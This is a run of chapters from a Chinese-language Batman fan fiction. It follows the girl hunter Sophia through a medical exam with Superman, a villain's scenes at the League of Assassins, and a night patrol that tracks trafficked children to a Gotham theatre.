“但是你不是一把可以随意处置的武器，你有自己的喜好，自己的朋友，自己的生活，这是好事。离开了过去的环境之后，你多了很多选择，学生、杀手、义警还有猎魔人，你可以自由选择自己想要的生活。只是我还是希望你思考一个问题，你为什么偏偏选择做猎魔人？” 索菲亚低下头抿了抿嘴唇。 因为有人希望我成为猎魔人。 索菲亚没有把答案说出来，这算不上答案，即使蝙蝠侠没有继续往下追问，索菲亚就已经知道这绝对不是这个问题的答案。 “除此之外，别忘了复盘之前的行动和出现的问题，驾驶时对于急转弯的处理你的技术还不够娴熟，只是依靠蛮力来过弯消耗了过多的力气，你需要针对这点进行训练。其次，这次行动你没有任何后备计划，我需要你把自己的安全放在首位。” “下周末之前，我希望能看到你的复盘报告。” 第74章 克拉克还是和之前一样没有什么架子, 和蔼可亲的笑容里看不出一点能把突然出现在市中心的五米级外星人脑袋都能拧下来的样子，以及比起他的表情更为可亲可爱的，便是那份放在桌子上散发出香甜气味的美丽苹果派。 “又见面了索菲亚。”克拉克穿着那身标志性的红蓝配色制服, 额前的小卷毛随着主人缓缓下降的动作一起摆动，显得格外q弹。 “你好克拉克。”虽然超人的建模在地球都属于非常顶级的类型，但并不妨碍索菲亚的注意力还是全都放在了被高大身躯挡住的苹果派上“检查开始前我可以吃你带来的苹果派吗？” “当然可以了索菲亚, 我妈妈听说有客人要来特地叫我带上特制的苹果派来招待你, 你想喝热可可吗还是果汁？” “咖啡，不要奶不要糖谢谢。” 比起来到新环境还在炸毛的索菲亚，蝙蝠侠像回家了一样自然的驱使着正义联盟的主席、氪星遗骨、普利策奖得主等拥有多层身份的好朋友。 “我想喝可乐。”索菲亚看着克拉克那双和面具下的布鲁斯完全不同的在地球上完全无法找到类似颜色的蓝眼睛慢慢放松了警惕“冰镇的然后玻璃瓶的可以吗？” “为什么不呢？”来自天外的氪星人眨了眨眼，一道残影刹那间掠过, 便递来了还挂着冰霜的玻璃瓶, 贴心的打开了瓶盖插上了根蓝色的吸管并顺手打了个足够美观但并不影响饮用的结。 索菲亚坐在有些高的椅子上晃着小腿啃手上用油纸垫着的苹果派, 表皮酥脆到得用手接着防止残渣掉在地上，其中苹果和肉桂的口感融合得恰到好处，对于爱吃甜的人来讲是非常棒的一顿下午茶。 那个黑漆漆的身影正和红披风的超人站在一起调试设备, 索菲亚竖起耳朵虽然能听到不少关键词, 但是由于长期将知识拒之门外只进油盐的大脑, 以至于大多数都没听懂，最多也就听到了关于克拉克对于不知道什么时候向那个小狗一样的可爱男孩乔纳森坦白自己超人身份的毛茸茸小烦恼。 在索菲亚眼里, 想要将超人和克拉克联系在一起有点困难。 在油管的超人tag里, 有段被超人粉丝称为神作的视频, 时长不长只不过半分钟左右, 但是在这还没有大多数热门音乐mv长的视频里，一向亲民友好的超人轻而易举地就能拧断外星怪物的脖子, 就好像只是在农田里掰下一根玉米一样简单。 除此以外能够轻松切断钢筋水泥的热视线, 呼吸之间就能冻结大多数事物的冰冻能力, 几乎能抵御一切伤害的钢铁之躯，肉眼难以捕捉的惊人速度，这些能力全部汇集在一个人身上，而对方却能常年展现出无害友好的态度，简直是天方夜谭。 当时视频结尾披着红色披风的超人逐渐上升挡住了太阳之时，不经意所流露出的神性让索菲亚的恐惧几乎到达顶峰。 但克拉克是另一个例外。 克拉克没有悲天悯人的如同救世主一样的眼神，每个见到他的人都会认同他小镇男孩的身份，朴实，真诚，来自家乡的带着阳光和雨水的小麦味道环绕在男人身边，削弱了高大身材所带来的压迫感，就好像看到一只会随时耍大脚的伯恩山一样。 他会和同伴聊起家人，聊起工作，聊起故乡种满了小麦的一望无际的农田，聊起妈妈亲手做的苹果派纸杯蛋糕，聊起他引以为傲的妻子和孩子，就和地球上的大多数人一样。 索菲亚难以想象这样截然不同的两个形象会是同一个人，就像是大多数人也无法想象半年换六个绯闻对象，名下有两个儿子的布鲁斯韦恩半夜喜欢cos成黑色猫耳男出门踹人屁股一样，即使这位对外不通庶务的韦恩集团董事长的每次一拍脑门的决策都让更多的金钱源源不断地流进韦恩这一庞然大物之中。 虽然很快这些钱就会以慈善以及蝙蝠侠装备更新的方式又流向社会从而使哥谭变得更好就是了。 谢谢你，散财童子蝙蝠侠。 或许是索菲亚的眼神过于炙热，克拉克抬眼望了过来，在对视后浅浅露出一个微笑。 “你准备好了吗？或许我们可以开始了。” “不用紧张，很快就能结束。”蝙蝠侠跟着补充了一句就把注意力全都放在了检查的仪器上。 负责检查的仪器就很符合大众关于外星科技的刻板印象，冷白色，舱体型，只是没那边冰冷，在不影响最终效果的情况下还增加了一部分包裹着柔软的类似海绵一样的软垫结构，防止躺久了人浑身都像挨打了一样痛。 索菲亚调整好姿势，双手自然的握在一起摆在腹部的位置，摆出一副音容宛在笑貌犹存的安详模样，方便随时下葬。 一种在医院里体检躺在陌生仪器里不知道要多久的紧张感从心底冲出来给索菲亚来了个肘击，上一个紧张的时候还是昨天差点放火烧了蝙蝠洞，以及上上次发现要交的小论文截止日期是前一天。 金属材料的外壳以外，是两个成年人的交谈声，听起来气氛不算严肃应该没什么大问题，如果到了这两个人都对着检查过程眉头紧蹙的情况，索菲亚要做的第一件事就是买两份保险受益人分别写上斯蒂芬妮和提姆的名字然后去哥谭湾给自己找好撒骨灰的地方方便朋友进行死猫头鹰放归活动。 检查结束的很快，舱门缓缓打开，索菲亚扶着两边站了起来从舱体里跨了出来。 “怎么样怎么样？我不会有糖尿病吧。” “一切正常，没什么潜在疾病。”超人率先回答了问题，伸手扶了一下踉踉跄跄的索菲亚。 “除了基因层面。”蝙蝠侠恰到好处接上了话题一如他在蝙蝠洞内的习惯。 “我们对比了从法庭得到的琥珀金样本，以及利爪身上的血液样本，你的血液成分和这两者间有很大的相似度，其中负责维持你生命体征以及修复伤口的成分可以初步判定为琥珀金。” “但是你身上的琥珀金表现出来的特征对比最初版本的琥珀金有很大程度的变化，这种变化削弱了琥珀金对于人体的危害但是也削弱了你自身的自愈能力。” 看得出来两个脑子好使的人正努力通过简单的话语来让索菲亚理解现状，也确实达到了这一目的。 “那我为什么很久都没有长大呢？” “准确来讲是由于你血液样本里的琥珀金成分发生的异变导致的，你有提起过是因为喝下特质药剂从而转化成为猎魔人，我的猜测是药剂制作过程中对琥珀金进行了改良，这使得你的身体能够正常成长，但是当到达某个临界值之后，你所摄入的琥珀金含量不足以在修复你的伤口以外继续支持身体的发育，所以会出现这样的情况。” 索菲亚点了点头。 “所以就是电池没电了所以进入了省电模式对吧。” “也可以这么理解。”超人跟着点了点头。 “对她的身体会有影响吗？”一边的蝙蝠侠突然提出了问题。 “除非频繁遭遇致命伤过度消耗身体内的琥珀金可能会导致身体崩溃，其他的我没办法观察到更多了。” “谢谢你克拉克，你放心下次遇到一看就打不过的敌人我一定玩了命的逃跑。” 对着超人担忧的眼神，索菲亚捏紧了拳头。 再次坐上蝙蝠翼离开时，索菲亚完全没了紧张的气氛，甚至在蝙蝠侠的身后光明正大的同时和斯蒂芬妮，提姆以及蒂娜聊天，熟练的游离在不同的话题中全都是对于自己聊天技巧的欣赏。 在同时讨论明天抽空去costco囤大量生活物资，晚上夜巡行程和队友安排，开学前要不要去海边度假的话题以外，索菲亚还能切屏去INS给认识的朋友们按个点赞。 别的不说，迪克穿警服真的很靓。 点了。 布鲁斯难得出门营业穿着休闲西装被拍到的绝美照片。 点了。 提姆上次约会po出来的九宫格照片。 点了。 没有感情的点赞机器就这样无差别的攻击每位朋友的朋友圈，企图用连绵不断的提示音来对人进行精神攻击，只可惜蝙蝠侠一向将两个身份分的很开，没机会看到对方被信息轰炸的迷茫表情。 索菲亚下了蝙蝠翼就直奔饭桌，非常伟大的阿福做的每道菜都过分的好吃，并且刚好计算好了索菲亚的食量以至于吃完正餐后恰到好处送上的淋着枫糖浆的松饼刚好满足食欲的渴求。 正拿着刀叉切松饼往嘴里送的索菲亚突然听到了来自手机的疯狂震动声，从口袋里手忙脚乱的掏出手机，那个黑色的带有白色X字样的图标上方几秒内就集齐了超过99＋的红点，而手机上方的信息通知还在不停的跳动。 好不容易在卡顿后打开了推特的索菲亚很快找到了这场无妄之灾的源头，顶着哥谭甜心性感写真照的头像的某个人转发了索菲亚某条记录路边小猫的动态，并贴心的留言“oh，Kitty~” 几乎被全哥谭人爆了推特的索菲亚茫然地抬起头，正巧看到刚刚放下手机坐在另一端的布鲁斯韦恩本人，露出了一个挑衅意味十足的甜美微笑。 “亲爱的，怎么会有人不喜欢小猫呢？” 第75章 刺客B是第二个负责和猫头鹰阿尔伯特接触的人, 第一个越南裔的刺客A已经死在了这位不速之客的刀下，连埋尸的工作还是刚刚回到联盟汇报任务的刺客B去做的，这让还没完全丧失求生欲的刺客B对待这位客人表现出足够的客气和尊重。 但要说实话的话, 刺客B对于这位顶着东正教教宗的称呼出现在刺客联盟的男人，实在没什么太多的了解，唯一知道的就是刺客B在十年前通过测试有幸加入联盟的时候, 那个男人已经带着手下那十几个猫头鹰打扮的杀手在这里安了家。 所以由恶魔之首统领的刺客联盟是怎么变成猫头鹰窝的, 鸟的含量是不是有点太多了。 但如果根据刺客B贫瘠的勉强能够从大学毕业的学术水平来判断，双方的关系确实更偏向于甲方乙方的合作关系，明面上是平等的，但大家心里都清楚出钱出资源的才是大爷, 即使是在外面再一手遮天的猫头鹰杀手, 回到联盟也得对金主客气一点。 不过面对有能力有野心且暂时还算得上老实的牧首, 恶魔之首目前还处于一个愿意给面子的宽容态度，一些比较重要的任务也会交到男人手上，比如教导那位通过拉撒路之池回到人间的陌生少年。 牧首难得没带把脸完全笼罩的严严实实的猫头鹰面具露出那张算得上英俊的脸来, 只是和刺客B预料的中年成熟白人男性的形象不同, 那张面具下是一张足够年轻的不会比刚大学毕业的学生成熟多少的脸。 而此刻, 刺客B正在按照牧首的指示和那位还没有完全清醒过来的少年进行搏斗。 那是一头纯粹的野兽，没有任何多余的思考, 只是按照趋利避害的本能进行战斗。 刺客B用双刀架住了冲着面门劈砍而来的武士刀, 通过施力使得武士刀的方向发生偏移, 按照习惯下一步就是挑飞对方的武器后根据任务情况的不同来选择是通过劈砍关节破坏行动能力还是直接对着心脏, 脖颈等关键部位进行攻击一击毙命。 但是这是一头没有意识的野兽而不是会思考的人类，因而当对方不顾及会武器可能被折断的风险施加了更多的力气后, 处于自保的本能刺客B及时调转了双刀的角度, 防止被折断的刀片崩到脸上出现毁容的风险。 训练室内刀剑相撞的声音愈发频繁, 除此之外还夹杂着拳脚碰撞时发出的声响，仔细听就能分辨出哪一声是骨头被折断的响声，哪一声是拳头击打太阳穴的闷响。 少年身上最少断了两根骨头，刺客B也没那么轻松，正咬着牙把脱臼的关节掰回来，少年再次冲了过来。 刺客B一跃而起对着少年的胸口就是一脚，用了十足的力气，正常情况下就算是头熊也得被踹的后退几步坐在地上，而少年则顺势抓住了刺客B的脚踝借力将刺客B远远的甩了出去。 脑袋砸在水泥墙上的声音震耳欲聋，像是被砸进了马蜂窝里四处都是虫鸣一样的耳鸣声将刺客B的脑袋牢牢笼罩，更加不巧的是几块摇摇欲坠的砖石掉了下来给了这个倒霉蛋最后一击，实打实的掉到了男人的脑袋上，让刺客B快速拥有了婴儿般的睡眠。 “我承认你有几分实力，但你只是还没有遇到我，我会击败你证明有做你主人的资格。” 带着十足稚嫩气息的还属于孩子范畴的声音在门外响起，少年下意识转身望去就知道看一个穿着黑色练功夫的有着刺猬一样脑袋的男孩。 如果说少年有着牛一样的力气，男孩的动作则敏捷的可怕，几个呼吸间就拉近了两人的距离。虽然同样选择了武士刀，但男孩的力气同样比起同龄人大得惊人，几次接下对方毫无意识下使出的杀招，手腕一抖便扭转攻势，趁对方注意力放在招架迎面而来的刀剑时，侧身捡起刺客B掉落在地上的另一把刀对着少年露出的脖颈，誓要做到人头落地。 而少年同样做好了迎接的准备，再次举起了武士刀。 “好了好了可以了，到此为止。”男人充满磁性的随时可以去古早电台当主播的声音响起，悄无声息的插在了两个小孩面前，用一把在刺客联盟普通的不能再普通的长刀化解了二人的攻势“我不想给拉尔斯解释为什么一场训练让他手下两个小孩全都非死即残。” “我有权对我的财产进行评估。”绿色的眼睛带着审视，将没带面具的男人从头到脚打量了个遍“也包括你，猫头鹰。” “我可不记得拉尔斯有给我额外招生的钱，要是学生死了我会惹上大麻烦的。”男人半蹲下来，金色的瞳孔因为灯光过于刺眼缩成一条竖线，像极了正在捕食的猫科动物“你叫什么来着？彼得？约翰？” “达米安奥古，记住你未来主人的名字。”男孩扬起下巴展现出十足的高傲，即使是汗珠正顺着蜜糖色的皮肤流下也没削弱他所展现出的幼狮一样的气质。 “哦对，达米安，我没记错的话你不是有自己的家教吗？怎么因为没有玩伴感到寂寞了吗少主？”男人恭维的话语却因为表情的嘲弄显得格外阴阳怪气“需要我冲去最近的城市为您绑来几个玩伴吗？不管您是要玩奴隶主和奴隶，资本家和无产者，地主和农奴的角色扮演游戏，我相信拉尔斯都会自己培养出了合格的剥削者颇为欣慰。” 男孩感受到男人话语里十足的嘲弄，面上没有任何变化，但长刀已经劈砍出去。 “你会为你的无礼付出代价。” 话音未落，男人死死抓住了男孩的手腕，几乎能捏碎石头的巨力下男孩稚嫩的骨头发出无法承受的细微骨裂声，即便如此达米安还是没有放下自己的武器。 “这么较真做什么？比起让别人付出代价，您还是小心老狮子比较好。” 男孩倔强的不愿妥协表情在男人眼里格外有趣，从内心散发出的愉悦感让猫头鹰几乎要拍拍翅膀飞上高空去，终于猫头鹰放开了对男孩的束缚。 “这是来自常年和阴谋家打交道的人的忠告，少主阁下，一个宁愿将权力地位交给和自己没有一丝血缘关系的男人也不愿意交给亲手培养长大的女儿的老东西，他的话到底有几分可信呢？” 金色的眼睛流露出愉悦来，微微眯上的眼睛伴随淡淡的笑意确实像极了幸灾乐祸时的猫头鹰，男孩正要反驳就听到了熟悉的声音。 “达米安，上课的时间到了。” 和达米安有着同样肤色，如出一辙的绿色眼睛的毒蝎一样的女人出现在门外，冲着男孩发出了提示，但语气里全都是不可违抗的压力。 “是，母亲。”男孩爬了起来将不甘咽了下去，没有再向猫头鹰投去任何一个眼神，低着头亦步亦趋的跟在母亲身后离开了这座训练室。 终于沉寂了下来的训练室里，男人对着趴在地上双眼失神的少年和已经失去意识的刺客B叹了口气，不出片刻猫头鹰打扮的刺客将两人分别送到了医疗处接受治疗，只剩下男人一个人在悬崖边对着带着沙子的风叹气。 “早知道就把索菲亚捡回来了。” 记忆里亚裔女孩从第一次见面起就表现出足够的顺从，但对于牧首来讲这算不上稀奇，大多数希望获得力量的人都有给人当狗的觉悟，他见过无数所谓的天才为了爬上牌桌是如何对着那群老爷们摇尾乞怜的丑态。 但是一条品相不错，性格温顺，年纪不大，可以让人充分体验到训狗乐趣的赏味期小狗出现在眼前，即使是再冷酷无情的人也没办法提出拒绝吧。 再加上，这是一条足够安静顺从却在关键时刻背叛了阿尔伯特的胆大包天的狗。 被背叛的滋味足够苦涩，阿尔伯特几乎想不起上次尝到这样的味道是多久之前，久违的感官刺激让沉溺于玩弄法庭的猫头鹰对着自己的门徒做出了判决。 “再见了好孩子，我会为你祷告的。” 猫头鹰的脸上流下了泪水，但上扬的嘴角中看不出一丝悲伤，记忆中关于黑发女孩的部分愈发的清晰。 “如果我们还能见面，我一定会好好对你的，好孩子。” 放血，水刑，或许一些电击治疗？即使是再擅长忍痛的索菲亚也会对这样的疼痛忍不住皱眉，鞭刑也不错不过考虑到药剂的作用，短时间内就能治愈的伤口实在难以对猫头鹰造成太大的伤害。 哦对，关禁闭就可以了，一个封闭房间就足够让展现出逆反心理的小狗在恐惧中展现出足够的忠诚。 这一招再好用不过了，怎么能差点漏掉呢？ 不过几乎被榨干的猫头鹰大概率没有从法庭回来的运气了吧，本就稀薄的琥珀金在一群如饥似渴的鬣狗面前，会有怎样的结果呢？ 男人片刻便收拾好情绪，重新带回了面具，一步一步的走向了少年单独居住的房间，弯起手指背着手用关节敲响了少年的房门，在等待三秒后缓缓打开了只有装饰作用的门锁，看向目光呆滞，浑身上下绑着绷带的少年，那双绿色的眼睛没有一丝波动，如同行尸走肉般丢失了灵魂。 “你好啊，罗宾。” 第76章 索菲亚没想到会在这样的场景下见到来到哥谭之后的第一位法师。 根据那位虽然说自己一个人工作但是一个电话能摇过来一堆朋友来帮忙的AKA蝙蝠侠的说法, 他的法师朋友得过几天才能够到达哥谭，再加上上次在孤独堡垒的全身检查中没有通过技术手段找到系统的影子，索菲亚只能把心放进肚子里继续和几个同伴进行夜巡、训练、吃饭的日常生活。 对, 索菲亚也做到了一边说自己单干一边默默的混进蝙蝠洞和大家一起训练的成就，每天重复暴打格斗技术不太强的提姆和斯蒂芬妮，然后被在一旁围观的蝙蝠侠在没有装备的情况下打的满地乱爬。 索菲亚对于自己被猫头鹰教出来的格斗技术有一定的自信, 至少面对大多数想和自己动手的家伙来讲都绝对够用, 但是面对一个战斗经验丰富，身体素质过硬的蝙蝠侠，索菲亚第一次意识到了自己的无力。 那种面对对方的攻击，过度依赖肌肉记忆, 结果下意识进行的反击动作被对方看破然后被痛打的经历实在算不上美妙, 而且训练时的蝙蝠侠还是那种一边把人打的满地乱爬还能实时指出问题的导师, 以至于倒在地上的索菲亚脑子里全都回荡着蝙蝠侠的“不要盲目相信肌肉记忆”“思考对手意图”“注意防御”。 别说了别说了。 最为缺德的是，斯蒂芬妮此刻正坐在椅子上面对好朋友被打的场面用海豹鼓掌的动作发出足够热烈的掌声还一边呼喊“好耶”，另一边察觉到索菲亚眼神的提姆默默的放下了同样想要鼓掌的手。 “我一辈子都不会原谅你的, 蝙蝠侠。” “我猜你和提姆的共同账户需要一点资金支持, 作为你按时交报告的一点小奖励。”那只足够宽大有力的手伸了出来, 让索菲亚借力站起来“现在可以原谅我了吗，猎魔人小姐？” “……” —————————— “所以我们夜宵吃什么？塔克, 披萨, 汉堡？哥谭好像晚上只能吃这些东西。” 说话时, 搅局者正蹲在滴水兽上全神贯注的听楼下几个混混的交谈, 从称呼上来看“卑鄙的黑面具”“可恶的双面人”“常年发疯的小丑”之类无差别攻击所有反派但唯独漏下了企鹅人，就能看出是哪位资本家为这些人付了足够在哥谭养家糊口的工资。 “塔克吧, 罗宾你要吗？哦对, 你晚上不吃东西。”索菲亚蹲在某间公寓伸出的窗台上, 金色的眼睛透过多米诺面具注视着那几个对象。 “帮我带一个碎牛肉的，别放太多辣酱谢谢。” 罗宾照常和蝙蝠侠组队巡视，只是重点放在了寻找小丑的踪迹以及阻止小丑接下来的行动身上，白天某位看守在送饭过程发现异常，打开房门后发现小丑早已不知所踪，而被拘束服全身上下都被限制行动且被堵上了嘴发不出声音的倒霉蛋则是一个完全陌生的面孔。 同样是失踪的还有负责给小丑进行精神治疗的心理医生哈琳.奎泽尔。 根据数据库显示，哈琳曾经是哥谭大学的心理学博士，从学校毕业后就来到阿卡姆疯人院担任医生，再这次事件发生前一直过着按部就班的平稳生活。 索菲亚只以为是小丑利用心理控制的手段胁迫奎泽尔医生协助他逃狱，但是当看到蝙蝠侠提供的两人的相处录像中小丑刻意表现出来的好莱坞电影最喜欢的那种疯狂优雅神秘的反派气质，以及奎泽尔医生抱着研究为目的，想要感化对方结果将自己越陷越深的过程，让索菲亚着实感到了迷惑。 不是，能不能吃点好的。 你也有自己的节奏是吗？ 不要把充斥着渣男贱女，披着火葬场追妻的皮，实则只有女人倒霉的狗血照进现实啊混蛋，给我看大女主爽文啊奎泽尔医生，你对得起你寒窗苦读十年拿下的博士学位吗？！ 槽点太多不知道该从何吐槽的索菲亚默默拉着同样沉默的搅局者跑去港口附近巡逻，只想要远离这个充斥着颠公颠婆的世界。 许愿身边所有人，不要莫名其妙变成为了爱情要把世界干烂的样子。 好吗？好的。 “这小崽子怎么没动静了？昏过去了？” “你管那么多做什么？送过去是活的就行。” 染了个红色鸡冠头的混混对着地上啐了一口，随后对着身后的麻袋踹了一脚。 “还敢跑？” 那麻袋被扔在地上平放着没有一点动静，从形状判断不像是什么小猫小狗之类的小动物，再加上能让企鹅人重视的货物要不然是些珍稀保护动物要不然只能是些灵长目人科小动物了。 不过看着运输的架势，唯一的可能只能是活人，并且是年纪不大的活人了。 索菲亚缓缓拿出钩爪枪悄无声息的落在了距离二人更近的地方，拿出了蝙蝠镖。 别问蝙蝠镖怎么来的。 感谢蝙蝠侠的馈赠。 瞳孔因为进入捕猎状态微微放大，眼前的目标几乎近在咫尺，手腕一抖金属质地的蝙蝠镖便划破空气精准的扎在了鸡冠头的肩膀上。 “啊——”惨叫还没从喉咙里发出就被皮革质感的手套挡住了去路，随后便是一顿熟悉的毒打。 鸡冠头摔在了地上疼的连打滚的力气都拿不出分毫，刚想叫同伴帮忙向地面环顾一圈都没有找到除了麻袋外半个人的影子，这时或许是上天指引，鸡冠头阴差阳错的抬起头，看到了被吊挂在在路灯上失去意识甚至不知道是否还健在的同伴。 “我都说我都说，别杀我。” 鸡冠头这才后知后觉的意识到糟了义警，顷刻便从眼窝里淌出了泪水，鼻头下闪着光的鼻涕也跟着迸发而出。 “我们只是把逃跑的小孩抓了回来，别的什么都没干，我没杀过人也没抢过银行，上次犯罪就抢了一个想买药的学生手里的二百块钱，别杀我啊。” “你为谁工作？”索菲亚懒得想问题干脆从蝙蝠侠一贯拷问别人的台词里抄了一句。 “双，不对企鹅人。” 听到对方临时变了答案，索菲亚伸手抓着红色的鸡冠把男人提了起来。 “再给你个机会，想清楚再说。” “是企鹅人，我上个月跟着双面人抢银行还没开始就被蝙蝠侠打了，这个月好不容易换了山头刚出来给企鹅人干活就又挨了打。” “从哪来的小孩？”搅局者把倒吊着的同伙放了下来，也走进了索菲亚蹩脚的审问现场。 “港口，老维金斯说是企鹅人负责运的货本来下午要交到客户手里，结果有个小孩摆脱药效跑了，我们刚找到。” “客户是谁？” “我不知道啊，我就是个小喽啰，别再打了我在医院的账单已经快赶上家里剩的卫生纸长了。” “最后一个问题，交货地在哪里？” “——冰山俱乐部。” 与鸡冠头颤抖的声音一同响起的还有蝙蝠侠低沉的嗓音。 “我找到企鹅人了。” 索菲亚这时和小心张望的鸡冠头正好对上了视线，抓着头发的手稍一用力就将手下的脑袋磕在地面上实现了快速昏迷的效果。 搅局者用自己开了刃的蝙蝠镖割开了麻袋，露出来的果然是一个还在昏迷中意识不清的孩子，年龄在6岁左右是标准的亚裔长相，要是仔细看比起东亚人更像是来自和索菲亚同源的东南亚。 斯蒂芬妮对着小孩进行大致检查，仅是这样只靠观察的粗略检查查出来的伤口也不在少数。那是个女孩，脸颊上还残留着红肿，按照大小来看应该是被用不小的力气扇了耳光，可能是逃跑路上被发现后被气急败坏的马仔所留下的。 除此之外，胳膊和露出来的小腿上都有青紫的淤痕，以及最让人瞩目的同样在手臂上的一道接近十公分长的烧伤所留下的疤痕，看起来不像是最近留下的伤疤。 “该死刚刚下手轻了，应该多踹两脚。”搅局者确认女孩身上没有致命伤，才把女孩抱在怀里招呼索菲亚离开。 看着女孩被抬上救护车，搅局者的心也放了下来，也在这时频道里蝙蝠侠带着罗宾直冲冰山俱乐部一路猛冲无伤速通带来的“叮铃咣铛”的动静下，终于出现了企鹅人虚弱的语气。 “没必要对我下狠手，我只负责中转，唔，别打了。” “交货地。”蝙蝠侠的语气虽然低沉但带有更多的压迫感，让索菲亚脑子里浮现出黑色大猫对猎物哈气后随时准备发起攻击的样子。 “叠牌俱乐部。” 企鹅人话音未落，索菲亚就听到好大一声拳头砸在骨头上的巨响，接下来就是蝙蝠侠恢复平静后的冷静发言。 “猎人，你和搅局者继续追查，罗宾随时做好支援准备。” “收到。” 在索菲亚即将离开时，一个奇异的声音突然响起，黑发蓝眼的魔术师打扮的女性出现在街巷之中打量着完全奇装异服打扮的两位义警露出了微笑。 “看来你们需要帮助？” “扎塔娜，一个平平无奇的魔术师，如果不放心我的身份，通讯那边的人或许可以作证。” 黑色的魔术帽越来越近，带有药草味道的女性对视上了索菲亚的眼睛。 “你好猎魔人，我为你而来。” 第77章 “这艘货轮曾经隶属于鲍尔斯旗下的太平洋海运公司, 在法庭的事暴露之后，威廉姆斯.鲍尔斯的儿子卡特鲍尔斯为了应对暴跌的股价和债务选择将这艘船卖给了科波特手下的海运公司。这艘船两周前从泰国的林查班港出发，在昨天凌晨到达哥谭湾。” 通讯设备那头传来敲打键盘的声音, 神谕说话的声音不大但能让人清晰的了了解到她所表达的内容，索菲亚喜欢和这样的人打交道。 “大多数在海关处有报备的的货物都被正常卸货运往仓库，只有一个体积略小的集装箱被留在了原地, 直到凌晨三点才被清空, 如果我没猜错的话，那个集装箱里运的都是和那个女孩差不多大的孩子。” “你能找到他们送货的地点吗？”搅局者重新回到了高处，为了保持平衡叉开腿蹲了下来，在索非亚眼里像是乖乖坐下的金毛小猫。 “稍等……送货的车进了东区, 经过宝厘街, 最后到了, 嗯，公园街剧院？在这之后监控就没有这辆车的画面了，只有在剧院后门的一个勉强还能用的监控画面里最后出现了这辆车经过的画面。” “已经够了, 谢谢你神谕。”扎塔娜转头看向还在盯着远处高楼散发出灯光发呆的索菲亚打了个响指“那我们先去剧院怎么样？” 回过神来的索菲亚点了点头, 随后向扎塔娜走近。 “要我带你过去吗？” “如果不麻烦的话。” 得到肯定的回答后索菲亚一手抱住了这位魔法师的腰, 示意对方抱紧自己的脖子，另一只手则对着远处的高楼抛出了钩爪。 搅局者不远不近的跟在后面, 期间几人路过了还在卖塔克的餐车, 但想想还需要解救的孩子们, 索菲亚最终还是选择掐死肚子里的馋虫。 刚过12点, 在其他城市或许大多数人都进入了梦乡，但是在哥谭夜晚才刚刚开始。 白日里那些见光死的东西, 在夜晚就跟着老鼠蟑螂蚊虫一类生物窸窸窣窣的从那些在哥谭矗立了恐怕有上百年的老建筑的各个空洞里爬了出来, 哥谭大多数老的标志建筑还保留着足够腐朽华丽的哥特式的风格。 但是放在犯罪频出的居民楼, 大多数则是些不会超过六层的老式公寓，狭窄的楼梯配合长年失修的灯光，塑造出一种文艺犯罪片最喜欢的氛围，仿佛下一刻社会最底层的被所有人鄙视唾弃的主人公就会因为社会的重压彻底精神失常，在抛弃掉一切的道德和枷锁后，此时手边的一切工具都会成为夺人性命的凶器，此时辨别是欧美cult片还是文艺片就只能靠出现暴力镜头的多少了。 斯蒂芬妮曾经就住在无数个公寓中的其中一间，据说二代罗宾杰森.陶德曾经也在这样的环境长大。 在索非亚印象里似乎只有cult片才会出现的环境糟糕破败腐朽的建筑里，居住着无数家境算不上富裕的孩子，这些孩子从出生起就带着贫穷，自卑，愤怒和恐惧，有些孩子还因为父母的放纵还额外加上了例如艾滋梅毒之类病痛的折磨，只等待某一天和父母一样或安静或疯狂的死去。 在距离剧院不远的一处公寓楼下，搅局者找到了那辆神谕锁定的那辆车。 那是辆连车门都摇摇欲坠的沾满尘土的面包车，倒是符合索菲亚对于人贩子的刻板印象，只是索菲亚上前抓住门的开关还没用力，那扇门就“嘎嘣”一声砸在了地上。 车内几乎没有什么光线，只带着浓烈的铁锈味，索菲亚心里默念能够发出荧光咒的指令，随即在指尖点亮了一团拳头大小的光亮照亮了车厢的同时，也让车厢上那些发黑的血迹显得格外狰狞。 索菲亚加强了荧光的亮度让身后的同伴都能看清车内的景象，除去前排的驾驶位和副驾，后面的座位全部被拆除留下了足够大的空位，血迹就这样星星点点的出现。 “按照血迹来判断可以否认单纯的买卖人口的情况了，虽然没到致命伤的程度，但也多多少少会留下疤痕，如果是当作宠物拍卖的话在品相这一部分就差了很多。” “那就是为了器官？但这些孩子的年纪才多大，要器官的话为什么不选择身体素质好一些的成年人还能省去运输成本。” 搅局者用随身携带的相机将车厢内的画面都记录后就扔到了频道里，接着开始查看其他的痕迹。 “肾上腺素红呢？我记得小圣詹姆斯岛那群畜生就很喜欢从恐惧状况下的儿童身上提取肾上腺素红来实现延长寿命的目的。” 索菲亚回头和搅局者对上视线，在思考几秒后似乎也找不出什么问题，随即对搅局者竖起了大拇指。 “我们家的推理小能手就靠你了。” “这算什么嘛，我还有更厉害的技能没展示呢。” 搅局者仰起头，露出一缕金色的头发来，用手往兜帽里塞了半天却还是只能看到那缕倔强的发丝出现在眼前，原本得意的眼神逐渐变得无奈。 “我回头就把这缕头发剪了，烦死了。” “回去剪，咱俩一起剃光头，要出门就带假发，一天一个颜色。”索菲亚也试着戳搅局者的头发，戳了半天还是选择了放弃“我想带那种粉色，你带紫色怎么样？” “好了姑娘们，我想我找到线索了。” 扎塔娜敲了敲车门用声音吸引了两个女孩的注意，顺着法师的动作索菲亚看到了出现在黑暗之中的一条延绵不断的由荧光组成的线条。 “请。”女人摘下魔术帽做出一个脱帽礼，还顺便对两个女孩做了个wink，显得格外俏皮。 线条一路延伸穿过常年无人打理的野草丛，径直指向了其中某栋公寓的地下，面对锁上的铁门，搅局者还没来得及从腰带里掏出发卡撬锁，就被索菲亚拨到一旁，抓着那个基础到不能再基础的锁头，用力向下一扯就听到了金属断裂的声音。 索菲亚将还带着部分金属的锁扔在了地上，一把拉开了铁门。 门后的通道算不上宽敞，一个人通过自然是没问题，但要是两个人想一起过去就多多少少有些困难。 考虑到法师一般不擅长近战的职业特色，索菲亚和搅局者分别走在最前和最后的位置把扎塔娜放在中间位置，防止有人喜欢学习蝙蝠侠的偷袭手法，喜欢挨个击破。 说实话蝙蝠侠真的不是从恐怖片里得到的灵感吗？像是什么《电锯惊魂》、《猛鬼街》、《午夜凶铃》啊，如果不知道蝙蝠侠的存在只是作为一个普通的罪犯，大半夜遇到这样一个体型硕大，神出鬼没，擅长分化敌人挨个击破且根本看不清楚攻击动作就已经倒下，不知道是人是鬼的存在，这不比恐怖片还可怕。 毕竟在美国遇到鬼怪恶魔的概率没那么大，遇到杀人犯也可以靠美式居合的传统先下手为强，但如果遇到哥谭恐惧的化身，不断上最少两根骨头做上足足半年的噩梦都得感谢蝙蝠侠手下留情。 